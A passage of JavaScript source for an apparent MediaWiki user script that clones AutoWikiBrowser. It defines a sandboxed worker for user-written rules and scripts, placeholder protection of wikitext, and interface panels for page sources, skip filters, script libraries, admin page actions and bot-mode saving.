} catch (err) {
throw err; // or: return currentText
}
}
var shared = {}; // Shared context for this page
for (var i = 0; i < inputs.length; i++) {
var text = inputs[i];
// 1. Pre-Process
var preRes;
if (data.preCode && data.preCode.trim() !== "") {
preRes = await execUserFunc(data.preCode, text, vars, shared);
} else if (typeof wAwB_Pre === 'function') {
try {
preRes = await wAwB_Pre(text, vars, shared);
if (preRes && typeof preRes === 'object' && preRes.skip) {
preRes = { _skipSignal: true, reason: preRes.reason || 'Script-requested skip' };
}
} catch (err) { preRes = text; }
} else {
preRes = text;
}
if (preRes && preRes._skipSignal) {
self.postMessage({ skipped: true, reason: preRes.reason });
return;
}
text = (preRes !== undefined) ? preRes : text;
// 2. Rules Processing
if (data.rules && data.rules.length > 0) {
data.rules.forEach(function(rule) {
var findStr = inject(rule.find);
if (!findStr) return;
if (rule.isFunc) {
try {
var userFunc = new Function('match', 'groups', 'vars', 'shared', rule.replace);
text = text.replace(new RegExp(findStr, (rule.flags || 'gmu').replace(/[^gimsuvy]/g, '')), function(...args) {
var match = args[0];
var groups = args.slice(1, -2);
try {
var res = userFunc(match, groups, vars, shared);
return res !== undefined ? res : match;
} catch (err) { return match; }
});
} catch (e) {}
} else {
var repStr = inject(rule.replace).replace(/\\\\n/g, "\\n").replace(/\\\\t/g, "\\t").replace(/\\\\r/g, "\\r");
if (rule.regex) {
try {
var flags = (rule.flags || 'gmu').replace(/[^gimsuvy]/g, '');
text = text.replace(new RegExp(findStr, flags), repStr);
} catch (e) {}
} else {
var finalFind = findStr.replace(/\\\\n/g, "\\n").replace(/\\\\t/g, "\\t").replace(/\\\\r/g, "\\r");
text = text.split(finalFind).join(repStr);
}
}
});
}
// 3. Post-Process
var postRes;
if (data.postCode && data.postCode.trim() !== "") {
postRes = await execUserFunc(data.postCode, text, vars, shared);
} else if (typeof wAwB_Post === 'function') {
try {
postRes = await wAwB_Post(text, vars, shared);
if (postRes && typeof postRes === 'object' && postRes.skip) {
postRes = { _skipSignal: true, reason: postRes.reason || 'Script-requested skip' };
}
} catch (err) { postRes = text; }
} else {
postRes = text;
}
if (postRes && postRes._skipSignal) {
self.postMessage({ skipped: true, reason: postRes.reason });
return;
}
text = (postRes !== undefined) ? postRes : text;
outputs.push(text);
}
self.postMessage({ success: true, texts: outputs, summaryAppend: shared.summaryAppend, summaryOverride: shared.summaryOverride });
} catch (err) { self.postMessage({ success: false, error: err.toString() }); }
};
`;
var blob = new Blob([scriptContent], {
type: 'application/javascript'
});
this.workerURL = URL.createObjectURL(blob);
this.activeWorker = new Worker(this.workerURL);
},
run: function(payload) {
var self = this;
return new Promise(function(resolve, reject) {
// Re-init if no worker exists, or if the user changed the library code
if (!self.activeWorker || self.currentLibCode !== (payload.libraryCode || "")) {
self.initWorker(payload.libraryCode);
}
if (self.timeoutTimer) clearTimeout(self.timeoutTimer);
self.timeoutTimer = setTimeout(function() {
self.destroy(); // Assassinate the stuck worker
reject("Script timed out (" + SCRIPT_TIMEOUT_MS + "ms).");
}, SCRIPT_TIMEOUT_MS);
self.activeWorker.onmessage = function(e) {
clearTimeout(self.timeoutTimer);
if (e.data.skipped) resolve({
skipped: true,
reason: e.data.reason
});
else if (e.data.success) resolve({
success: true,
texts: e.data.texts,
summaryAppend: e.data.summaryAppend,
summaryOverride: e.data.summaryOverride
});
else reject(e.data.error);
};
self.activeWorker.postMessage(payload);
});
},
destroy: function() {
if (this.activeWorker) {
this.activeWorker.terminate();
this.activeWorker = null;
}
if (this.workerURL) {
URL.revokeObjectURL(this.workerURL);
this.workerURL = null;
}
if (this.timeoutTimer) {
clearTimeout(this.timeoutTimer);
this.timeoutTimer = null;
}
}
};
var PageProtector = {
store: [],
getKey: function() {
var id = this.store.length.toString();
var p = "";
for (var i = 0; i < id.length; i++) {
p += String.fromCharCode(0xE010 + parseInt(id[i]));
}
return '\uE000' + p + '\uE001';
},
protect: function(text, mode, config, templateSpecies = null) {
this.store = [];
var self = this;
var safeRep = function(t, r) {
return t.replace(r, function(m) {
if (!m) return m;
var key = self.getKey();
self.store.push(m);
return key;
});
};
var shouldProcess = function(id) {
if (mode === 'target') return config === id;
return config[id] === true;
};
var matchedBrackets = function(text, op, cl, species = '') {
var newText = "",
depth = 0,
start = 0,
cursor = 0;
var speciesRegex = species ? new RegExp(species, 'iu') : null;
for (var i = 0; i < text.length; i++) {
if (text[i] === op[0] && text.slice(i, i + op.length) === op) {
if (depth === 0) start = i;
depth++;
i += op.length - 1;
} else if (text[i] === cl[0] && text.slice(i, i + cl.length) === cl) {
if (depth > 0) {
depth--;
if (depth === 0) {
var chunk = text.substring(start, i + cl.length);
if (!speciesRegex || speciesRegex.test(chunk)) {
var key = self.getKey();
self.store.push(chunk);
newText += text.substring(cursor, start) + key;
} else {
newText += text.substring(cursor, i + cl.length);
}
cursor = i + cl.length;
}
i += cl.length - 1;
}
}
}
newText += text.substring(cursor);
return newText;
};
PROTECTION_DEFS.forEach(function(def) {
if (shouldProcess(def.id)) {
if (def.id === 'blocks') {
['math', 'pre', 'source', 'syntaxhighlight', 'code', 'gallery'].forEach(t => text = safeRep(text, new RegExp('<' + t + '[^>]*?>[\\s\\S]*?<\\/' + t + '>|<' + t + '[^>]*?/>', 'gi')));
} else if (['templates', 'tables', 'images'].includes(def.id)) {
var activeSpecies = (def.id === 'templates') ? templateSpecies : def.species;
text = matchedBrackets(text, def.open, def.close, activeSpecies || '');
} else if (def.regex) {
text = safeRep(text, def.regex);
}
}
});
return text;
},
restore: function(text) {
var self = this;
var loop = 100;
while (/(\uE000[\uE010-\uE019]+\uE001)/.test(text) && loop > 0) {
text = text.replace(/\uE000([\uE010-\uE019]+)\uE001/g, function(m, d) {
var id = "";
for (var i = 0; i < d.length; i++) id += (d.charCodeAt(i) - 0xE010).toString();
return self.store[parseInt(id, 10)] || m;
});
loop--;
}
return text;
}
};
var accordionRegistry = [];
function addSection(title, $inner) {
var btn = new OO.ui.ButtonWidget({
label: title,
indicator: 'down',
framed: false,
classes: ['wa-section-header']
});
var box = $('<div>').addClass('wa-foldable-content').append($inner);
var sectionObj = {
btn: btn,
box: box,
label: title
};
accordionRegistry.push(sectionObj);
btn.on('click', function() {
var isOpening = !box.is(':visible');
if (isOpening) {
accordionRegistry.forEach(function(sec) {
if (sec !== sectionObj) {
sec.box.hide();
sec.btn.setIndicator('down');
}
});
}
box.toggle();
btn.setIndicator(box.is(':visible') ? 'up' : 'down');
});
$content.append(btn.$element, box);
return sectionObj;
}
// WIDGETS
var srcSelect = new OO.ui.DropdownInputWidget({
options: [{
data: 'cat',
label: 'Category'
}, {
data: 'linksto',
label: 'Pages linking to...'
}, {
data: 'linkson',
label: 'Links on page...'
}, {
data: 'prefix',
label: 'Pages with prefix...'
}, {
data: 'watchlist',
label: 'Watchlist'
}, {
data: 'search',
label: 'Wiki search'
}, {
data: 'usercontribs',
label: 'User contributions'
}, {
data: 'pageswithprop',
label: 'Pages with property'
}]
});
var srcInput = new OO.ui.TextInputWidget({
placeholder: 'Category...'
});
var now = new Date();
var today = now.toISOString().split('T')[0];
var srcInputUser = new OO.ui.TextInputWidget({
placeholder: 'Username'
});
var srcInputStartDate = new OO.ui.TextInputWidget({
value: today + 'T00:00:00',
placeholder: 'ISO start date'
});
var srcInputEndDate = new OO.ui.TextInputWidget({
value: today + 'T23:59:59',
placeholder: 'ISO end date'
});
var srcDropProp = new OO.ui.DropdownInputWidget({
options: []
});
var $optContainer = $('<div>').addClass('wa-source-options').hide();
var $optCat = $('<div>').hide();
var $optUser = $('<div>').hide();
var $optProp = $('<div>').hide();
var chkCatPages = new OO.ui.CheckboxInputWidget({
selected: true
});
var chkCatSub = new OO.ui.CheckboxInputWidget({
selected: false
});
var chkCatFile = new OO.ui.CheckboxInputWidget({
selected: false
});
$optCat.append($('<div>').addClass('wa-opt-label').text('Include:'), new OO.ui.FieldLayout(chkCatPages, {
label: 'Pages',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkCatSub, {
label: 'Subcats',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkCatFile, {
label: 'Files',
align: 'inline'
}).$element);
$optUser.append(new OO.ui.FieldLayout(srcInputUser, {
label: 'User',
align: 'top'
}).$element, new OO.ui.FieldLayout(srcInputStartDate, {
label: 'Start (Older)',
align: 'top'
}).$element, new OO.ui.FieldLayout(srcInputEndDate, {
label: 'End (Newer)',
align: 'top'
}).$element);
$optProp.append(new OO.ui.FieldLayout(srcDropProp, {
label: 'Property',
align: 'top'
}).$element);
var $optLinks = $('<div>').hide();
var chkLinkWiki = new OO.ui.CheckboxInputWidget({
selected: true
});
var chkLinkTrans = new OO.ui.CheckboxInputWidget({
selected: false
});
var chkLinkImg = new OO.ui.CheckboxInputWidget({
selected: false
});
var dropLinkRedir = new OO.ui.DropdownInputWidget({
options: [{
data: 'nonredirects',
label: 'No redirects'
}, {
data: 'all',
label: 'Both'
}, {
data: 'redirects',
label: 'Redirects only'
}]
});
var chkLinkToRedir = new OO.ui.CheckboxInputWidget({
selected: false
});
$optLinks.append($('<div>').addClass('wa-opt-label').text('What to include:'), $('<div>').addClass('wa-opt-row').append(new OO.ui.FieldLayout(chkLinkWiki, {
label: 'Wikilinks',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkLinkTrans, {
label: 'Transclusions',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkLinkImg, {
label: 'File usage',
align: 'inline'
}).$element), $('<div>').addClass('wa-opt-label').text('Redirects:'), dropLinkRedir.$element, new OO.ui.FieldLayout(chkLinkToRedir, {
label: 'Include links to redirects',
align: 'inline'
}).$element);
$optContainer.append($optCat, $optLinks, $optUser, $optProp);
var queryCache = {};
var lastMode = 'cat';
srcSelect.on('change', function(newMode) {
if (!isLoadingProject) {
if (lastMode !== 'watchlist' && lastMode !== 'usercontribs' && lastMode !== 'pageswithprop') {
queryCache[lastMode] = srcInput.getValue();
}
}
$optContainer.hide();
$optCat.hide();
$optLinks.hide();
$optUser.hide();
$optProp.hide();
srcInput.setDisabled(false).$element.show();
if (newMode === 'cat') {
$optContainer.show();
$optCat.show();
} else if (newMode === 'linksto') {
$optContainer.show();
$optLinks.show();
} else if (newMode === 'usercontribs') {
$optContainer.show();
$optUser.show();
srcInput.setDisabled(true).$element.hide();
} else if (newMode === 'pageswithprop') {
$optContainer.show();
$optProp.show();
srcInput.setDisabled(true).$element.hide();
if (!propNamesLoaded) {
new mw.Api().get({
action: 'query',
list: 'pagepropnames',
ppnlimit: 'max'
}).then(function(d) {
if (d.query && d.query.pagepropnames) {
srcDropProp.setOptions(d.query.pagepropnames.map(p => ({
data: p.propname,
label: p.propname
})));
propNamesLoaded = true;
}
});
}
}
if (newMode === 'watchlist') {
srcInput.setValue('');
srcInput.setDisabled(true);
srcInput.$input.attr('placeholder', '(No query needed)');
} else if (newMode !== 'usercontribs' && newMode !== 'pageswithprop') {
srcInput.setValue(queryCache[newMode] || '');
var ph = 'Query...';
if (newMode === 'cat') ph = 'Category name';
if (newMode === 'search') ph = 'Search query...';
if (newMode === 'prefix') ph = 'Page prefix...';
if (newMode === 'linksto') ph = 'Pages linking to this title...';
if (newMode === 'linkson') ph = 'Get links from this page...';
srcInput.$input.attr('placeholder', ph);
}
lastMode = newMode;
});
srcSelect.emit('change', srcSelect.getValue());
var $nsSelect = $('<select>').attr('id', 'wa-ns-selector').attr('multiple', 'multiple').attr('size', '8');
var nsMap = mw.config.get('wgFormattedNamespaces');
for (var id in nsMap) {
if (parseInt(id) >= 0) $nsSelect.append($('<option>').val(id).text(id + ': ' + (nsMap[id] || '(Main)')));
}
$nsSelect.val(['0']);
var btnAdd = new OO.ui.ButtonWidget({
label: 'Add to list',
icon: 'add',
flags: ['primary', 'progressive']
});
var $btnRow = $('<div>').css({
'display': 'flex',
'justify-content': 'flex-end',
'margin-top': '10px'
});
var $fetchStatus = $('<span>').css({
'margin-right': '10px',
'color': '#888',
'font-size': '0.9em',
'align-self': 'center'
}).hide();
$btnRow.append($fetchStatus, btnAdd.$element);
addSection('Source', $('<div>').append(new OO.ui.FieldLayout(srcSelect, {
label: 'Mode',
align: 'top'
}).$element, new OO.ui.FieldLayout(srcInput, {
label: 'Query',
align: 'top'
}).$element, $optContainer, $('<div>').text('Namespaces:').css({
'font-weight': 'bold',
'margin-top': '5px'
}), $nsSelect, $btnRow));
var redirMode = new OO.ui.RadioSelectWidget({
items: [new OO.ui.RadioOptionWidget({
data: 'edit',
label: 'Edit the redirect page (Default)'
}), new OO.ui.RadioOptionWidget({
data: 'follow',
label: 'Follow redirect (Edit target)'
}), new OO.ui.RadioOptionWidget({
data: 'skip',
label: 'Skip redirects'
})]
});
redirMode.selectItemByData('edit');
var radSkipExist = new OO.ui.RadioSelectWidget({
items: [new OO.ui.RadioOptionWidget({
data: 'none',
label: 'Process all'
}), new OO.ui.RadioOptionWidget({
data: 'missing',
label: 'Skip if page does not exist'
}), new OO.ui.RadioOptionWidget({
data: 'exists',
label: 'Skip if page exists'
})]
});
radSkipExist.selectItemByData('none');
var chkSkipNoChange = new OO.ui.CheckboxInputWidget({
selected: false
});
var inpSkipContains = new OO.ui.TextInputWidget({
placeholder: 'Text/Regex for Skip if FOUND'
});
var togSkipContainsRegex = new OO.ui.ToggleSwitchWidget({
value: false,
title: 'Use regex'
});
var inpSkipNotContains = new OO.ui.TextInputWidget({
placeholder: 'Text/Regex for Skip if MISSING'
});
var togSkipNotContainsRegex = new OO.ui.ToggleSwitchWidget({
value: false,
title: 'Use regex'
});
var inpSkipCategories = new OO.ui.TextInputWidget({
placeholder: 'Skip if in: Category1|Category2'
});
var inpSkipNotCategories = new OO.ui.TextInputWidget({
placeholder: 'Skip if NOT in: Category1|Category2'
});
var $settingsPanel = $('<div>')
.append($('<span>').addClass('wa-settings-header').text('Redirects'))
.append(redirMode.$element)
.append($('<hr>').css('border-top', '1px solid #eee'))
.append($('<span>').addClass('wa-settings-header').text('Skip logic'))
.append(new OO.ui.FieldLayout(chkSkipNoChange, {
label: 'Skip if no changes made',
align: 'inline'
}).$element.css('margin-bottom', '8px'))
.append(radSkipExist.$element)
.append($('<hr>').css('border-top', '1px solid #eee'))
.append($('<span>').addClass('wa-settings-header').text('Content filters'))
.append($('<div>').addClass('wa-setting-row').append(inpSkipContains.$element.css('flex', 1), togSkipContainsRegex.$element.css('margin-left', '5px')))
.append($('<div>').addClass('wa-setting-row').append(inpSkipNotContains.$element.css('flex', 1), togSkipNotContainsRegex.$element.css('margin-left', '5px')))
.append($('<hr>').css('border-top', '1px solid #eee'))
.append($('<span>').addClass('wa-settings-header').text('Category filters'))
.append(new OO.ui.FieldLayout(inpSkipCategories, {
label: 'Blacklist',
align: 'top'
}).$element)
.append(new OO.ui.FieldLayout(inpSkipNotCategories, {
label: 'Whitelist',
align: 'top'
}).$element);
addSection('Skip', $settingsPanel);
var dropProtMode = new OO.ui.DropdownInputWidget({
options: [{
data: 'protect',
label: 'Protect (Exclude)'
}, {
data: 'target',
label: 'Target (Edit Matches Only)'
}]
});
var inpTemplateFilter = new OO.ui.TextInputWidget({
placeholder: 'Regex: infobox rail line|railway'
});
var $templateFilterLayout = new OO.ui.FieldLayout(inpTemplateFilter, {
label: 'Template filter',
align: 'top'
});
var $protList = $('<div>');
var protCheckboxes = {};
PROTECTION_DEFS.forEach(function(def) {
var chk = new OO.ui.CheckboxInputWidget({
selected: def.isOn
});
protCheckboxes[def.id] = chk;
$protList.append(new OO.ui.FieldLayout(chk, {
label: def.label,
align: 'inline'
}).$element);
});
var targetRadioItems = PROTECTION_DEFS.map(function(def) {
return new OO.ui.RadioOptionWidget({
data: def.id,
label: def.label
});
});
var radTargetSet = new OO.ui.RadioSelectWidget({
items: targetRadioItems
});
var $targetList = $('<div>').hide().append(radTargetSet.$element);
dropProtMode.on('change', function(mode) {
if (mode === 'protect') {
$protList.show();
$targetList.hide();
} else {
$protList.hide();
$targetList.show();
}
});
addSection('Protection', $('<div>').addClass('wa-source-options')
.append(new OO.ui.FieldLayout(dropProtMode, {
label: 'Mode',
align: 'top'
}).$element)
.append($('<hr>').css('border-top', '1px solid #eee'))
.append($protList).append($targetList)
.append($('<div style="margin-top:10px;">').append($templateFilterLayout.$element))
);
var $rulesList = $('<div>');
var btnAddRule = new OO.ui.ButtonWidget({
label: 'Add rule',
icon: 'add'
});
var rulesRegistry = [];
addSection('Rules', $('<div>').append($rulesList, btnAddRule.$element));
var togWikiTypos = new OO.ui.ToggleSwitchWidget({
value: false
});
var lblWikiStatus = $('<div>').css({
'font-size': '0.9em',
'color': '#888',
'margin-top': '2px'
});
var btnLoadLocal = new OO.ui.ButtonWidget({
icon: 'upload',
label: 'Load file',
framed: false
});
var btnClearLocal = new OO.ui.ButtonWidget({
icon: 'trash',
title: 'Clear local',
framed: false,
flags: 'destructive',
disabled: true
});
var lblLocalStatus = $('<div>').text('No local rules').css({
'font-size': '0.9em',
'color': '#888',
'margin-top': '2px'
});
var $typoInput = $('<input type="file">').hide().appendTo('body');
var $extRulesPanel = $('<div>').addClass('wa-source-options');
$extRulesPanel.append(
$('<div>').css({
'display': 'flex',
'align-items': 'center',
'justify-content': 'space-between'
}).append($('<span>').text('Project:AutoWikiBrowser/Typos').css('font-weight', 'bold'), togWikiTypos.$element),
$('<div>').css('margin-bottom', '10px').append(lblWikiStatus),
$('<hr>').css('border-top', '1px solid #eee'),
$('<div>').append($('<div>').css({
'display': 'flex',
'align-items': 'center'
}).append($('<span>').text('Local rules (session only)').css({
'font-weight': 'bold'
}), $('<div>').css('flex', '1'), btnLoadLocal.$element, btnClearLocal.$element), lblLocalStatus)
);
addSection('External rules', $extRulesPanel);
var txtPreScript = new OO.ui.MultilineTextInputWidget({
rows: 6,
value: '',
placeholder: '// Enter JavaScript function body here.\n// Available variables: text, vars, shared\nreturn text;'
});
var txtPostScript = new OO.ui.MultilineTextInputWidget({
rows: 6,
value: '',
placeholder: '// Enter JavaScript function body here.\n// Available variables: text, vars, shared\nreturn text;'
});
var btnLoadLib = new OO.ui.ButtonWidget({
icon: 'upload',
title: 'Load library (.js)',
framed: false
});
var btnRemoveLib = new OO.ui.ButtonWidget({
icon: 'trash',
title: 'Remove library',
framed: false,
flags: 'destructive'
});
var txtLibStatus = new OO.ui.TextInputWidget({
value: '(No library loaded)',
readOnly: true
});
var $libInput = $('<input type="file" accept=".js">').hide().appendTo('body');
var btnEditLib = new OO.ui.ButtonWidget({
icon: 'edit',
label: 'Edit project library',
framed: false
});
var $scriptPanel = $('<div>').append(
$('<div>').css({
'display': 'flex',
'align-items': 'center',
'gap': '5px',
'margin-bottom': '10px'
}).append($('<span>').text('JS library:').css({
'font-weight': 'bold',
'white-space': 'nowrap'
}), txtLibStatus.$element.css('flex', '1'), btnLoadLib.$element, btnRemoveLib.$element),
$('<div>').css({
'display': 'flex',
'justify-content': 'flex-end',
'margin-bottom': '10px'
}).append(btnEditLib.$element),
new OO.ui.FieldLayout(txtPreScript, {
label: 'Pre-Process',
align: 'top'
}).$element,
new OO.ui.FieldLayout(txtPostScript, {
label: 'Post-Process',
align: 'top'
}).$element
);
addSection('Scripts', $scriptPanel);
function updateLibUI() {
if (currentLibrary.code) {
txtLibStatus.setValue(currentLibrary.name);
btnRemoveLib.setDisabled(false);
} else {
txtLibStatus.setValue('(No library loaded)');
btnRemoveLib.setDisabled(true);
}
}
updateLibUI();
function LibraryEditorDialog(config) {
LibraryEditorDialog.super.call(this, config);
}
OO.inheritClass(LibraryEditorDialog, OO.ui.ProcessDialog);
LibraryEditorDialog.static.name = 'libraryEditor';
LibraryEditorDialog.static.title = 'Edit project library';
LibraryEditorDialog.static.actions = [{
action: 'save',
label: 'Save',
flags: ['primary', 'progressive']
},
{
label: 'Cancel',
flags: 'safe'
}
];
LibraryEditorDialog.prototype.initialize = function() {
LibraryEditorDialog.super.prototype.initialize.call(this);
this.$element.addClass('wa-lib-dialog'); // Attach our custom CSS override class
this.panel = new OO.ui.PanelLayout({
padded: true,
expanded: true
});
this.$editorWrapper = $('<div>').addClass('wa-lib-editorwrapper');
this.panel.$element.append(this.$editorWrapper);
this.$body.append(this.panel.$element);
};
LibraryEditorDialog.prototype.getSetupProcess = function(data) {
data = data || {};
return LibraryEditorDialog.super.prototype.getSetupProcess.call(this, data)
.next(function() {
var self = this;
self.$editorWrapper.empty();
// Create a textarea for the MediaWiki CM wrapper to properly bind to
var $libTextArea = $('<textarea>').appendTo(self.$editorWrapper);
var initCode = currentLibrary.code || "// All custom library functions defined here will be passed to the worker.\n// Special functions:\n// function wAwB_Pre(text, vars, shared) { return text; }\n// function wAwB_Post(text, vars, shared) { return text; }\n";
return mw.loader.using(['ext.CodeMirror', 'ext.CodeMirror.modes']).then(function(require) {
var CM = require('ext.CodeMirror');
var modes = require('ext.CodeMirror.modes');
self.cmInstance = new CM($libTextArea[0], modes.javascript());
self.cmInstance.initialize();
self.cmInstance.view.dispatch({
changes: {
from: 0,
insert: initCode
}
});
// Force CodeMirror to fill the wrapper
self.$editorWrapper.find('.cm-editor').css({
height: '100%'
});
}).catch(function(err) {
console.error("wAwB CM Init Error:", err);
});
}, this);
};
LibraryEditorDialog.prototype.getActionProcess = function(action) {
var dialog = this;
if (action === 'save') {
return new OO.ui.Process(function() {
var newCode = "";
if (dialog.cmInstance) {
newCode = dialog.cmInstance.view.state.doc.toString();
}
if (newCode.trim() === "") {
currentLibrary = {
name: null,
code: null
};
} else {
currentLibrary.code = newCode;
currentLibrary.name = "custom code";
}
updateLibUI();
dialog.close({
action: action
});
});
}
if (action === 'cancel' || !action) {
return new OO.ui.Process(function() {
dialog.close({
action: action
});
});
}
return LibraryEditorDialog.super.prototype.getActionProcess.call(this, action);
};
LibraryEditorDialog.prototype.getTeardownProcess = function(data) {
return LibraryEditorDialog.super.prototype.getTeardownProcess.call(this, data)
.next(function() {
if (this.cmInstance) {
try {
this.cmInstance.view.destroy();
} catch (e) {}
this.cmInstance = null;
}
}, this);
};
var windowManager = new OO.ui.WindowManager();
$('body').append(windowManager.$element);
var libDialog = new LibraryEditorDialog();
windowManager.addWindows([libDialog]);
btnEditLib.on('click', function() {
windowManager.openWindow(libDialog);
});
var togAdminEnable = new OO.ui.ToggleSwitchWidget({
value: false
});
var chkMovRedirect = new OO.ui.CheckboxInputWidget({
selected: false
});
var chkMovTalk = new OO.ui.CheckboxInputWidget({
selected: true
});
var chkMovSub = new OO.ui.CheckboxInputWidget({
selected: false
});
var chkDelTalk = new OO.ui.CheckboxInputWidget({
selected: true
});
var dropProtEdit = new OO.ui.DropdownInputWidget({
options: [{
data: '',
label: '(No Change)'
}, {
data: 'all',
label: 'All'
}, {
data: 'autoconfirmed',
label: 'Autoconfirmed'
}, {
data: 'sysop',
label: 'Sysop'
}]
});
var dropProtMove = new OO.ui.DropdownInputWidget({
options: [{
data: '',
label: '(No Change)'
}, {
data: 'all',
label: 'All'
}, {
data: 'autoconfirmed',
label: 'Autoconfirmed'
}, {
data: 'sysop',
label: 'Sysop'
}]
});
var inpProtExpiry = new OO.ui.TextInputWidget({
placeholder: 'infinite / 2 days / 12 hours'
});
if (CAN_MOVE || IS_ADMIN) {
var $adminPanel = $('<div>').append(
$('<div>').css({
'display': 'flex',
'align-items': 'center',
'justify-content': 'flex-start',
'gap': '10px'
}).append($('<span>').text('Enable page actions').css('font-weight', 'bold'), togAdminEnable.$element),
$('<hr>')
);
if (CAN_MOVE) {
$adminPanel.append(
$('<strong>').text('Move options:'), new OO.ui.FieldLayout(chkMovRedirect, {
label: 'Do not create redirect',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkMovTalk, {
label: 'Move talk page',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkMovSub, {
label: 'Move subpages',
align: 'inline'
}).$element, $('<br>')
);
}
if (IS_ADMIN) {
$adminPanel.append(
$('<strong>').text('Delete options:'), new OO.ui.FieldLayout(chkDelTalk, {
label: 'Delete talk page',
align: 'inline'
}).$element, $('<br>'),
$('<strong>').text('Protect options:'), new OO.ui.FieldLayout(dropProtEdit, {
label: 'Edit level',
align: 'top'
}).$element, new OO.ui.FieldLayout(dropProtMove, {
label: 'Move level',
align: 'top'
}).$element, new OO.ui.FieldLayout(inpProtExpiry, {
label: 'Expiry',
align: 'top'
}).$element
);
}
addSection('Page actions', $adminPanel);
}
var btnPower = new OO.ui.ButtonWidget({
label: 'Start',
icon: 'power',
flags: ['primary', 'progressive'],
title: 'Start editing',
accessKey: 'a'
});
var btnDiff = new OO.ui.ButtonWidget({
label: 'Diff',
icon: 'update',
title: 'Show diff',
accessKey: 'd'
});
var btnSkip = new OO.ui.ButtonWidget({
label: 'Next',
icon: 'next',
title: 'Skip to next page',
accessKey: 'n',
disabled: true
});
var btnPreview = new OO.ui.ButtonWidget({
label: 'Preview',
icon: 'article',
title: 'Preview page',
accessKey: 'p'
});
var btnSave = new OO.ui.ButtonWidget({
label: 'Save',
icon: 'upload',
flags: 'progressive',
title: 'Save edit',
accessKey: 's',
disabled: true
});
var inputSummary = new OO.ui.TextInputWidget({
placeholder: '',
value: '',
title: 'Enter edit summary',
accessKey: 'b'
});
var $sumLayout = new OO.ui.FieldLayout(inputSummary, {
label: 'Edit summary',
align: 'top'
}).$element;
$sumLayout.css('margin-bottom', '6px');
var listTextarea = new OO.ui.MultilineTextInputWidget({
rows: 15,
classes: ['wa-page-list-raw']
});
var btnSort = new OO.ui.ButtonWidget({
icon: 'sortVertical',
title: 'Sort list',
framed: false
});
var btnDedup = new OO.ui.ButtonWidget({
icon: 'funnel',
title: 'Remove duplicates',
framed: false
});
var btnClear = new OO.ui.ButtonWidget({
icon: 'trash',
title: 'Clear list',
framed: false
});
var btnPreParse = new OO.ui.ButtonWidget({
label: 'Pre-parse',
title: 'Process list in background',
icon: 'robot',
framed: false
});
var $listCounter = $('<span>').addClass('wa-list-counter').text('0 pages');
var togAutoSave = new OO.ui.ToggleSwitchWidget({
value: false
});
var txtAutoDelay = new OO.ui.TextInputWidget({
value: '10'
});
var $botRow = $('<div>').addClass('wa-bot-row').hide();
if (PERMS.allowBot) {
$botRow.show().append($('<span>').css('font-weight', 'bold').text('Bot mode: '), togAutoSave.$element, $('<span>').text('Delay (s):'), txtAutoDelay.$element.css('max-width', '40px'));
togAutoSave.on('change', function(v) {
if (v) txtAutoDelay.setValue('10');
});
}
var sortAsc = true;
var $procHeader = $('<div>').addClass('wa-section-header').attr('id', 'wa-proc-header').css({
'display': 'flex',
'justify-content': 'space-between',
'align-items': 'center'
});
var $procTitle = $('<span>').attr('id', 'wa-proc-title').text('Processing');
var chkMinor = new OO.ui.CheckboxInputWidget({
selected: true,
title: 'Minor edit'
});
var $minorLayout = new OO.ui.FieldLayout(chkMinor, {
label: 'm',
align: 'inline',
title: 'Minor edit'
});
$minorLayout.$element.css({
'margin-right': '15px',
'font-weight': 'normal'
});
$procHeader.append($procTitle, $minorLayout.$element);
var $procContent = $('<div>').attr('id', 'wa-proc-content').append(
$sumLayout, $botRow,
$('<div>').addClass('wa-grid-container').append(
$('<div>').addClass('wa-grid-col').append(btnPower.$element),
$('<div>').addClass('wa-grid-col').append(btnDiff.$element, btnSkip.$element),
$('<div>').addClass('wa-grid-col').append(btnPreview.$element, btnSave.$element)
),
$('<div>').addClass('wa-toolbar').append($listCounter, btnSort.$element, btnDedup.$element, btnClear.$element),
listTextarea.$element,
$('<div>').css({
'margin-top': '5px'
}).append(btnPreParse.$element)
);
$content.append($procHeader, $procContent);
var configWidgets = [
srcSelect, srcInput, srcInputUser, srcInputStartDate, srcInputEndDate, srcDropProp,
chkCatPages, chkCatSub, chkCatFile, chkLinkWiki, chkLinkTrans, chkLinkImg, dropLinkRedir, chkLinkToRedir,
btnAdd, redirMode, chkSkipNoChange, radSkipExist,
inpSkipContains, togSkipContainsRegex, inpSkipNotContains, togSkipNotContainsRegex, inpSkipCategories, inpSkipNotCategories,
dropProtMode, radTargetSet, inpTemplateFilter, btnAddRule,
txtPreScript, txtPostScript, chkMovRedirect, chkMovTalk, chkMovSub, chkDelTalk, dropProtEdit, dropProtMove, inpProtExpiry,
togWikiTypos, btnLoadLocal, btnClearLocal, btnPreParse
];
// =====================================================================
// 5. FUNCTION DEFINITIONS (Core Logic)
// =====================================================================
function checkSummaryWarning() {
var val = inputSummary.getValue();
var isBlank = !val || val.trim() === "";
if (isBlank || hasNewSources) inputSummary.$element.addClass('wa-summary-warning');
else inputSummary.$element.removeClass('wa-summary-warning');
}
function renderCurrentView() {
if (currentViewMode === 'preview') renderPreview();
else renderDiff();
}
function toggleConfig(isLocked) {
configWidgets.forEach(function(w) {
if (w instanceof OO.ui.TextInputWidget || w instanceof OO.ui.MultilineTextInputWidget) {
w.setReadOnly(isLocked);
w.$element.css('opacity', isLocked ? 0.8 : 1);
} else {
w.setDisabled(isLocked);
}
});
$nsSelect.prop('disabled', isLocked);
for (var key in protCheckboxes) protCheckboxes[key].setDisabled(isLocked);
rulesRegistry.forEach(function(r) {
r.find.setReadOnly(isLocked);
r.rep.setReadOnly(isLocked);
r.regex.setDisabled(isLocked);
r.flags.setReadOnly(isLocked);
r.enable.setDisabled(isLocked);
r.del.setDisabled(isLocked);
r.btnFunc.setDisabled(isLocked || !r.regex.getValue());
r.btnUp.setDisabled(isLocked || rulesRegistry.indexOf(r) === 0);
r.btnDown.setDisabled(isLocked || rulesRegistry.indexOf(r) === rulesRegistry.length - 1);
});
if (CAN_MOVE || IS_ADMIN) togAdminEnable.setDisabled(isLocked);
btnLoadLib.setDisabled(isLocked);
btnRemoveLib.setDisabled(isLocked || !currentLibrary.code);
btnEditLib.setDisabled(isLocked);
btnLoadLocal.setDisabled(isLocked);
btnClearLocal.setDisabled(isLocked || localTypos.length === 0);
}
function updateListCount() {
